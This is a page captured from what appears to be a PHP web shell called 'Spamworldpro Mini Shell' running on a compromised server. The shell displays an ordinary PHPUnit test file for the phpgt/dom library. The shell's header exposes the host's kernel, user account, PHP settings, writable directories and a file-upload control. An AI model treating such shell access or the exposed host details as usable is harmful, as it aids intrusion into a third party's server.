Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/phpgt/dom/test/phpunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/phpgt/dom/test/phpunit/ParentNodeTest.php
<?php
namespace Gt\Dom\Test;

use Gt\Dom\Element;
use Gt\Dom\HTMLDocument;
use Gt\Dom\Test\Helper\Helper;
use Gt\Dom\Text;
use PHPUnit\Framework\TestCase;

class ParentNodeTest extends TestCase {
	public function testChildren() {
		$document = new HTMLDocument(Helper::HTML_MORE);
		$children = $document->body->children;
		$this->assertNotSame($children, $document->body->childNodes);
		$this->assertNotCount($document->body->childNodes->length, $children);

		$firstImg = $document->querySelector("img");
		$this->assertSame($firstImg, $children->item(1));
	}

	public function testFirstLastElementChild() {
		$document = new HTMLDocument(Helper::HTML_MORE);
		$this->assertInstanceOf(
			Text::class, $document->body->firstChild);
		$this->assertInstanceOf(
			Element::class, $document->body->firstElementChild);
	}

	public function testChildElementCount() {
		$document = new HTMLDocument(Helper::HTML_MORE);
		$this->assertInstanceOf(
			Text::class, $document->body->lastChild);
		$this->assertInstanceOf(
			Element::class, $document->body->lastElementChild);
	}

	public function testQuerySelectorNotSelectSelf() {
		$document = new HTMLDocument(Helper::HTML_LESS);
		$p = $document->querySelector("p");
		$innerP = $p->querySelector("p");
		self::assertNull($innerP);
	}

	public function testIterateOverChildNodes() {
		$document = new HTMLDocument(Helper::HTML_MORE);

		$form = $document->querySelector("form");
		$originalChildNodeCount = $form->childNodes->length;
		$childNodes = [];
		for($i = 0, $len = $originalChildNodeCount; $i < $len; $i++) {
			$childNodes []= $form->childNodes->item($i);
		}

		$fragment = $document->createDocumentFragment();
		foreach($childNodes as $child) {
			$fragment->appendChild($child);
		}

		self::assertEquals(
			$originalChildNodeCount,
			$fragment->childNodes->length
		);
	}
}

Spamworldpro Mini